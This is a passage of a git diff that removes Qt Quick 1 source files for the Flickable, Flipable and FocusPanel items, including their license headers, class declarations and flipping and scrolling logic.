(!d->hData.flicking) - emit flickEnded(); - } - if (!d->pressed && !d->stealMouse) { - if (d->vData.moving) { - d->vData.moving = false; - d->vMoved = false; - emit movingChanged(); - emit movingVerticallyChanged(); - if (!d->hData.moving) - emit movementEnded(); - } - } - d->vData.fixingUp = false; -} - -void QDeclarative1FlickablePrivate::updateVelocity() -{ - Q_Q(QDeclarative1Flickable); - emit q->horizontalVelocityChanged(); - emit q->verticalVelocityChanged(); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativeflickable_p.h b/src/qtquick1/graphicsitems/qdeclarativeflickable_p.h deleted file mode 100644 index 1ac08a6a11..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeflickable_p.h +++ /dev/null @@ -1,228 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEFLICKABLE_H -#define QDECLARATIVEFLICKABLE_H - -#include "qdeclarativeitem.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1FlickablePrivate; -class QDeclarative1FlickableVisibleArea; -class Q_AUTOTEST_EXPORT QDeclarative1Flickable : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(qreal contentWidth READ contentWidth WRITE setContentWidth NOTIFY contentWidthChanged) - Q_PROPERTY(qreal contentHeight READ contentHeight WRITE setContentHeight NOTIFY contentHeightChanged) - Q_PROPERTY(qreal contentX READ contentX WRITE setContentX NOTIFY contentXChanged) - Q_PROPERTY(qreal contentY READ contentY WRITE setContentY NOTIFY contentYChanged) - Q_PROPERTY(QDeclarativeItem *contentItem READ contentItem CONSTANT) - - Q_PROPERTY(qreal horizontalVelocity READ horizontalVelocity NOTIFY horizontalVelocityChanged) - Q_PROPERTY(qreal verticalVelocity READ verticalVelocity NOTIFY verticalVelocityChanged) - - Q_PROPERTY(BoundsBehavior boundsBehavior READ boundsBehavior WRITE setBoundsBehavior NOTIFY boundsBehaviorChanged) - Q_PROPERTY(qreal maximumFlickVelocity READ maximumFlickVelocity WRITE setMaximumFlickVelocity NOTIFY maximumFlickVelocityChanged) - Q_PROPERTY(qreal flickDeceleration READ flickDeceleration WRITE setFlickDeceleration NOTIFY flickDecelerationChanged) - Q_PROPERTY(bool moving READ isMoving NOTIFY movingChanged) - Q_PROPERTY(bool movingHorizontally READ isMovingHorizontally NOTIFY movingHorizontallyChanged) - Q_PROPERTY(bool movingVertically READ isMovingVertically NOTIFY movingVerticallyChanged) - Q_PROPERTY(bool flicking READ isFlicking NOTIFY flickingChanged) - Q_PROPERTY(bool flickingHorizontally READ isFlickingHorizontally NOTIFY flickingHorizontallyChanged) - Q_PROPERTY(bool flickingVertically READ isFlickingVertically NOTIFY flickingVerticallyChanged) - Q_PROPERTY(FlickableDirection flickableDirection READ flickableDirection WRITE setFlickableDirection NOTIFY flickableDirectionChanged) - - Q_PROPERTY(bool interactive READ isInteractive WRITE setInteractive NOTIFY interactiveChanged) - Q_PROPERTY(int pressDelay READ pressDelay WRITE setPressDelay NOTIFY pressDelayChanged) - - Q_PROPERTY(bool atXEnd READ isAtXEnd NOTIFY isAtBoundaryChanged) - Q_PROPERTY(bool atYEnd READ isAtYEnd NOTIFY isAtBoundaryChanged) - Q_PROPERTY(bool atXBeginning READ isAtXBeginning NOTIFY isAtBoundaryChanged) - Q_PROPERTY(bool atYBeginning READ isAtYBeginning NOTIFY isAtBoundaryChanged) - - Q_PROPERTY(QDeclarative1FlickableVisibleArea *visibleArea READ visibleArea CONSTANT) - - Q_PROPERTY(QDeclarativeListProperty flickableData READ flickableData) - Q_PROPERTY(QDeclarativeListProperty flickableChildren READ flickableChildren) - Q_CLASSINFO("DefaultProperty", "flickableData") - - Q_ENUMS(FlickableDirection) - Q_ENUMS(BoundsBehavior) - -public: - QDeclarative1Flickable(QDeclarativeItem *parent=0); - ~QDeclarative1Flickable(); - - QDeclarativeListProperty flickableData(); - QDeclarativeListProperty flickableChildren(); - - enum BoundsBehavior { StopAtBounds, DragOverBounds, DragAndOvershootBounds }; - BoundsBehavior boundsBehavior() const; - void setBoundsBehavior(BoundsBehavior); - - qreal contentWidth() const; - void setContentWidth(qreal); - - qreal contentHeight() const; - void setContentHeight(qreal); - - qreal contentX() const; - virtual void setContentX(qreal pos); - - qreal contentY() const; - virtual void setContentY(qreal pos); - - bool isMoving() const; - bool isMovingHorizontally() const; - bool isMovingVertically() const; - bool isFlicking() const; - bool isFlickingHorizontally() const; - bool isFlickingVertically() const; - - int pressDelay() const; - void setPressDelay(int delay); - - qreal maximumFlickVelocity() const; - void setMaximumFlickVelocity(qreal); - - qreal flickDeceleration() const; - void setFlickDeceleration(qreal); - - bool isInteractive() const; - void setInteractive(bool); - - qreal horizontalVelocity() const; - qreal verticalVelocity() const; - - bool isAtXEnd() const; - bool isAtXBeginning() const; - bool isAtYEnd() const; - bool isAtYBeginning() const; - - QDeclarativeItem *contentItem(); - - enum FlickableDirection { AutoFlickDirection=0x00, HorizontalFlick=0x01, VerticalFlick=0x02, HorizontalAndVerticalFlick=0x03 }; - FlickableDirection flickableDirection() const; - void setFlickableDirection(FlickableDirection); - - Q_INVOKABLE Q_REVISION(1) void resizeContent(qreal w, qreal h, QPointF center); - Q_INVOKABLE Q_REVISION(1) void returnToBounds(); - -Q_SIGNALS: - void contentWidthChanged(); - void contentHeightChanged(); - void contentXChanged(); - void contentYChanged(); - void movingChanged(); - void movingHorizontallyChanged(); - void movingVerticallyChanged(); - void flickingChanged(); - void flickingHorizontallyChanged(); - void flickingVerticallyChanged(); - void horizontalVelocityChanged(); - void verticalVelocityChanged(); - void isAtBoundaryChanged(); - void flickableDirectionChanged(); - void interactiveChanged(); - void boundsBehaviorChanged(); - void maximumFlickVelocityChanged(); - void flickDecelerationChanged(); - void pressDelayChanged(); - void movementStarted(); - void movementEnded(); - void flickStarted(); - void flickEnded(); - -protected: - virtual bool sceneEventFilter(QGraphicsItem *, QEvent *); - void mousePressEvent(QGraphicsSceneMouseEvent *event); - void mouseMoveEvent(QGraphicsSceneMouseEvent *event); - void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); - void wheelEvent(QGraphicsSceneWheelEvent *event); - void timerEvent(QTimerEvent *event); - - QDeclarative1FlickableVisibleArea *visibleArea(); - -protected Q_SLOTS: - virtual void ticked(); - void movementStarting(); - void movementEnding(); - -protected: - void movementXEnding(); - void movementYEnding(); - virtual qreal minXExtent() const; - virtual qreal minYExtent() const; - virtual qreal maxXExtent() const; - virtual qreal maxYExtent() const; - qreal vWidth() const; - qreal vHeight() const; - virtual void viewportMoved(); - virtual void geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry); - bool sceneEvent(QEvent *event); - bool sendMouseEvent(QGraphicsSceneMouseEvent *event); - - bool xflick() const; - bool yflick() const; - void cancelFlick(); - -protected: - QDeclarative1Flickable(QDeclarative1FlickablePrivate &dd, QDeclarativeItem *parent); - -private: - Q_DISABLE_COPY(QDeclarative1Flickable) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1Flickable) - friend class QDeclarative1FlickableVisibleArea; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Flickable) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeflickable_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeflickable_p_p.h deleted file mode 100644 index e6489db70e..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeflickable_p_p.h +++ /dev/null @@ -1,239 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEFLICKABLE_P_H -#define QDECLARATIVEFLICKABLE_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeflickable_p.h" - -#include "private/qdeclarativeitem_p.h" -#include "private/qdeclarativeitemchangelistener_p.h" - -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - -// Really slow flicks can be annoying. -const qreal MinimumFlickVelocity = 75.0; - -class QDeclarative1FlickableVisibleArea; -class QDeclarative1FlickablePrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener -{ - Q_DECLARE_PUBLIC(QDeclarative1Flickable) - -public: - QDeclarative1FlickablePrivate(); - void init(); - - struct Velocity : public QDeclarative1TimeLineValue - { - Velocity(QDeclarative1FlickablePrivate *p) - : parent(p) {} - virtual void setValue(qreal v) { - if (v != value()) { - QDeclarative1TimeLineValue::setValue(v); - parent->updateVelocity(); - } - } - QDeclarative1FlickablePrivate *parent; - }; - - struct AxisData { - AxisData(QDeclarative1FlickablePrivate *fp, void (QDeclarative1FlickablePrivate::*func)(qreal)) - : move(fp, func), viewSize(-1), smoothVelocity(fp), atEnd(false), atBeginning(true) - , fixingUp(false), inOvershoot(false), moving(false), flicking(false) - {} - - void reset() { - velocityBuffer.clear(); - dragStartOffset = 0; - fixingUp = false; - inOvershoot = false; - } - - void addVelocitySample(qreal v, qreal maxVelocity); - void updateVelocity(); - - QDeclarative1TimeLineValueProxy move; - qreal viewSize; - qreal pressPos; - qreal dragStartOffset; - qreal dragMinBound; - qreal dragMaxBound; - qreal velocity; - qreal flickTarget; - QDeclarative1FlickablePrivate::Velocity smoothVelocity; - QPODVector velocityBuffer; - bool atEnd : 1; - bool atBeginning : 1; - bool fixingUp : 1; - bool inOvershoot : 1; - bool moving : 1; - bool flicking : 1; - }; - - void flickX(qreal velocity); - void flickY(qreal velocity); - virtual void flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, - QDeclarative1TimeLineCallback::Callback fixupCallback, qreal velocity); - - void fixupX(); - void fixupY(); - virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent); - - void updateBeginningEnd(); - - bool isOutermostPressDelay() const; - void captureDelayedPress(QGraphicsSceneMouseEvent *event); - void clearDelayedPress(); - - void setRoundedViewportX(qreal x); - void setRoundedViewportY(qreal y); - - qreal overShootDistance(qreal size); - - void itemGeometryChanged(QDeclarativeItem *, const QRectF &, const QRectF &); - -public: - QDeclarativeItem *contentItem; - - AxisData hData; - AxisData vData; - - QDeclarative1TimeLine timeline; - bool hMoved : 1; - bool vMoved : 1; - bool stealMouse : 1; - bool pressed : 1; - bool interactive : 1; - bool calcVelocity : 1; - QElapsedTimer lastPosTime; - QPointF lastPos; - QPointF pressPos; - QElapsedTimer pressTime; - qreal deceleration; - qreal maxVelocity; - QElapsedTimer velocityTime; - QPointF lastFlickablePosition; - qreal reportedVelocitySmoothing; - QGraphicsSceneMouseEvent *delayedPressEvent; - QGraphicsItem *delayedPressTarget; - QBasicTimer delayedPressTimer; - int pressDelay; - int fixupDuration; - - enum FixupMode { Normal, Immediate, ExtentChanged }; - FixupMode fixupMode; - - static void fixupY_callback(void *); - static void fixupX_callback(void *); - - void updateVelocity(); - int vTime; - QDeclarative1TimeLine velocityTimeline; - QDeclarative1FlickableVisibleArea *visibleArea; - QDeclarative1Flickable::FlickableDirection flickableDirection; - QDeclarative1Flickable::BoundsBehavior boundsBehavior; - - void handleMousePressEvent(QGraphicsSceneMouseEvent *); - void handleMouseMoveEvent(QGraphicsSceneMouseEvent *); - void handleMouseReleaseEvent(QGraphicsSceneMouseEvent *); - - // flickableData property - static void data_append(QDeclarativeListProperty *, QObject *); - static int data_count(QDeclarativeListProperty *); - static QObject *data_at(QDeclarativeListProperty *, int); - static void data_clear(QDeclarativeListProperty *); -}; - -class QDeclarative1FlickableVisibleArea : public QObject -{ - Q_OBJECT - - Q_PROPERTY(qreal xPosition READ xPosition NOTIFY xPositionChanged) - Q_PROPERTY(qreal yPosition READ yPosition NOTIFY yPositionChanged) - Q_PROPERTY(qreal widthRatio READ widthRatio NOTIFY widthRatioChanged) - Q_PROPERTY(qreal heightRatio READ heightRatio NOTIFY heightRatioChanged) - -public: - QDeclarative1FlickableVisibleArea(QDeclarative1Flickable *parent=0); - - qreal xPosition() const; - qreal widthRatio() const; - qreal yPosition() const; - qreal heightRatio() const; - - void updateVisible(); - -signals: - void xPositionChanged(qreal xPosition); - void yPositionChanged(qreal yPosition); - void widthRatioChanged(qreal widthRatio); - void heightRatioChanged(qreal heightRatio); - -private: - QDeclarative1Flickable *flickable; - qreal m_xPosition; - qreal m_widthRatio; - qreal m_yPosition; - qreal m_heightRatio; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1FlickableVisibleArea) - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeflipable.cpp b/src/qtquick1/graphicsitems/qdeclarativeflipable.cpp deleted file mode 100644 index c36555e1de..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeflipable.cpp +++ /dev/null @@ -1,259 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeflipable_p.h" - -#include "QtQuick1/private/qdeclarativeitem_p.h" -#include "QtDeclarative/private/qdeclarativeguard_p.h" - -#include - -#include - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1FlipablePrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Flipable) -public: - QDeclarative1FlipablePrivate() : current(QDeclarative1Flipable::Front), front(0), back(0) {} - - void updateSceneTransformFromParent(); - void setBackTransform(); - - QDeclarative1Flipable::Side current; - QDeclarativeGuard front; - QDeclarativeGuard back; - - bool wantBackXFlipped; - bool wantBackYFlipped; -}; - -/*! - \qmlclass Flipable QDeclarative1Flipable - \inqmlmodule QtQuick 1 - \since QtQuick 1.0 - \ingroup qml-basic-interaction-elements - \brief The Flipable item provides a surface that can be flipped. - \inherits Item - - Flipable is an item that can be visibly "flipped" between its front and - back sides, like a card. It is used together with \l Rotation, \l State - and \l Transition elements to produce a flipping effect. - - The \l front and \l back properties are used to hold the items that are - shown respectively on the front and back sides of the flipable item. - - \section1 Example Usage - - The following example shows a Flipable item that flips whenever it is - clicked, rotating about the y-axis. - - This flipable item has a \c flipped boolean property that is toggled - whenever the MouseArea within the flipable is clicked. When - \c flipped is true, the item changes to the "back" state; in this - state, the \c angle of the \l Rotation item is changed to 180 - degrees to produce the flipping effect. When \c flipped is false, the - item reverts to the default state, in which the \c angle value is 0. - - \snippet doc/src/snippets/qtquick1/flipable/flipable.qml 0 - - \image flipable.gif - - The \l Transition creates the animation that changes the angle over - four seconds. When the item changes between its "back" and - default states, the NumberAnimation animates the angle between - its old and new values. - - See \l {QML States} for details on state changes and the default - state, and \l {QML Animation and Transitions} for more information on how - animations work within transitions. - - \sa {declarative/ui-components/flipable}{Flipable example} -*/ - -QDeclarative1Flipable::QDeclarative1Flipable(QDeclarativeItem *parent) -: QDeclarativeItem(*(new QDeclarative1FlipablePrivate), parent) -{ -} - -QDeclarative1Flipable::~QDeclarative1Flipable() -{ -} - -/*! - \qmlproperty Item QtQuick1::Flipable::front - \qmlproperty Item QtQuick1::Flipable::back - - The front and back sides of the flipable. -*/ - -QGraphicsObject *QDeclarative1Flipable::front() -{ - Q_D(const QDeclarative1Flipable); - return d->front; -} - -void QDeclarative1Flipable::setFront(QGraphicsObject *front) -{ - Q_D(QDeclarative1Flipable); - if (d->front) { - qmlInfo(this) << tr("front is a write-once property"); - return; - } - d->front = front; - d->front->setParentItem(this); - if (Back == d->current) - d->front->setOpacity(0.); - emit frontChanged(); -} - -QGraphicsObject *QDeclarative1Flipable::back() -{ - Q_D(const QDeclarative1Flipable); - return d->back; -} - -void QDeclarative1Flipable::setBack(QGraphicsObject *back) -{ - Q_D(QDeclarative1Flipable); - if (d->back) { - qmlInfo(this) << tr("back is a write-once property"); - return; - } - d->back = back; - d->back->setParentItem(this); - if (Front == d->current) - d->back->setOpacity(0.); - connect(back, SIGNAL(widthChanged()), - this, SLOT(retransformBack())); - connect(back, SIGNAL(heightChanged()), - this, SLOT(retransformBack())); - emit backChanged(); -} - -void QDeclarative1Flipable::retransformBack() -{ - Q_D(QDeclarative1Flipable); - if (d->current == QDeclarative1Flipable::Back && d->back) - d->setBackTransform(); -} - -/*! - \qmlproperty enumeration QtQuick1::Flipable::side - - The side of the Flipable currently visible. Possible values are \c - Flipable.Front and \c Flipable.Back. -*/ -QDeclarative1Flipable::Side QDeclarative1Flipable::side() const -{ - Q_D(const QDeclarative1Flipable); - if (d->dirtySceneTransform) - const_cast(d)->ensureSceneTransform(); - - return d->current; -} - -// determination on the currently visible side of the flipable -// has to be done on the complete scene transform to give -// correct results. -void QDeclarative1FlipablePrivate::updateSceneTransformFromParent() -{ - Q_Q(QDeclarative1Flipable); - - QDeclarativeItemPrivate::updateSceneTransformFromParent(); - QPointF p1(0, 0); - QPointF p2(1, 0); - QPointF p3(1, 1); - - QPointF scenep1 = sceneTransform.map(p1); - QPointF scenep2 = sceneTransform.map(p2); - QPointF scenep3 = sceneTransform.map(p3); - p1 = q->mapToParent(p1); - p2 = q->mapToParent(p2); - p3 = q->mapToParent(p3); - - qreal cross = (scenep1.x() - scenep2.x()) * (scenep3.y() - scenep2.y()) - - (scenep1.y() - scenep2.y()) * (scenep3.x() - scenep2.x()); - - wantBackYFlipped = p1.x() >= p2.x(); - wantBackXFlipped = p2.y() >= p3.y(); - - QDeclarative1Flipable::Side newSide; - if (cross > 0) { - newSide = QDeclarative1Flipable::Back; - } else { - newSide = QDeclarative1Flipable::Front; - } - - if (newSide != current) { - current = newSide; - if (current == QDeclarative1Flipable::Back && back) - setBackTransform(); - if (front) - front->setOpacity((current==QDeclarative1Flipable::Front)?1.:0.); - if (back) - back->setOpacity((current==QDeclarative1Flipable::Back)?1.:0.); - emit q->sideChanged(); - } -} - -/* Depends on the width/height of the back item, and so needs reevaulating - if those change. -*/ -void QDeclarative1FlipablePrivate::setBackTransform() -{ - QTransform mat; - QGraphicsItemPrivate *dBack = QGraphicsItemPrivate::get(back); - mat.translate(dBack->width()/2,dBack->height()/2); - if (dBack->width() && wantBackYFlipped) - mat.rotate(180, Qt::YAxis); - if (dBack->height() && wantBackXFlipped) - mat.rotate(180, Qt::XAxis); - mat.translate(-dBack->width()/2,-dBack->height()/2); - back->setTransform(mat); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativeflipable_p.h b/src/qtquick1/graphicsitems/qdeclarativeflipable_p.h deleted file mode 100644 index 3d9f69be84..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeflipable_p.h +++ /dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEFLIPABLE_H -#define QDECLARATIVEFLIPABLE_H - -#include "qdeclarativeitem.h" - -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1FlipablePrivate; -class Q_AUTOTEST_EXPORT QDeclarative1Flipable : public QDeclarativeItem -{ - Q_OBJECT - - Q_ENUMS(Side) - Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront NOTIFY frontChanged) - Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack NOTIFY backChanged) - Q_PROPERTY(Side side READ side NOTIFY sideChanged) - //### flipAxis - //### flipRotation -public: - QDeclarative1Flipable(QDeclarativeItem *parent=0); - ~QDeclarative1Flipable(); - - QGraphicsObject *front(); - void setFront(QGraphicsObject *); - - QGraphicsObject *back(); - void setBack(QGraphicsObject *); - - enum Side { Front, Back }; - Side side() const; - -Q_SIGNALS: - void frontChanged(); - void backChanged(); - void sideChanged(); - -private Q_SLOTS: - void retransformBack(); - -private: - Q_DISABLE_COPY(QDeclarative1Flipable) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1Flipable) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Flipable) - -QT_END_HEADER - -#endif // QDECLARATIVEFLIPABLE_H diff --git a/src/qtquick1/graphicsitems/qdeclarativefocuspanel.cpp b/src/qtquick1/graphicsitems/qdeclarativefocuspanel.cpp deleted file mode 100644 index 940f7c6f09..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativefocuspanel.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativefocuspanel_p.h" - -#include "QtQuick1/private/qdeclarativeitem_p.h" - -#include -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass FocusPanel QDeclarative1FocusPanel - \inqmlmodule QtQuick 1 - \since QtQuick 1.0 - \ingroup qml-basic-interaction-elements - - \brief The FocusPanel item explicitly creates a focus panel. - \inherits Item - - Focus panels assist in keyboard focus handling when building QML - applications. All the details are covered in the - \l {qmlfocus}{keyboard focus documentation}. -*/ - -QDeclarative1FocusPanel::QDeclarative1FocusPanel(QDeclarativeItem *parent) : - QDeclarativeItem(parent) -{ - Q_D(QDeclarativeItem); - d->flags |= QGraphicsItem::ItemIsPanel; -} - -QDeclarative1FocusPanel::~QDeclarative1FocusPanel() -{ -} - -/*! - \qmlproperty bool QtQuick1::FocusPanel::active - - Sets whether the item is the active focus panel. -*/ - -bool QDeclarative1FocusPanel::sceneEvent(QEvent *event) -{ - if (event->type() == QEvent::WindowActivate || - event->type() == QEvent::WindowDeactivate) - emit activeChanged(); - return QDeclarativeItem::sceneEvent(event); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativefocuspanel_p.h b/src/qtquick1/graphicsitems/qdeclarativefocuspanel_p.h deleted file mode 100644 index 75a7f43173..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativefocuspanel_p.h +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEFOCUSPANEL_H -#define QDECLARATIVEFOCUSPANEL_H - -#include "qdeclarativeitem.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class Q_AUTOTEST_EXPORT QDeclarative1FocusPanel : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(bool active READ isActive WRITE setActive NOTIFY activeChanged) -public: - QDeclarative1FocusPanel(QDeclarativeItem *parent=0); - virtual ~QDeclarative1FocusPanel(); - -Q_SIGNALS: - void activeChanged(); - -protected: - bool sceneEvent(QEvent *event); - -private: - Q_DISABLE_COPY(QDeclarative1FocusPanel) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeItem) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1FocusPanel) - -QT_END_HEADER - -#endif // QDECLARATIVEFOCUSPANEL_H diff --git a/src/qtquick1/graphicsitems/qdeclarativefocusscope.cpp b/src/qtquick1/graphicsitems/qdeclarativefocusscope.cpp deleted file mode 100644 index 97eee708d6..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativefocusscope.cpp +++ 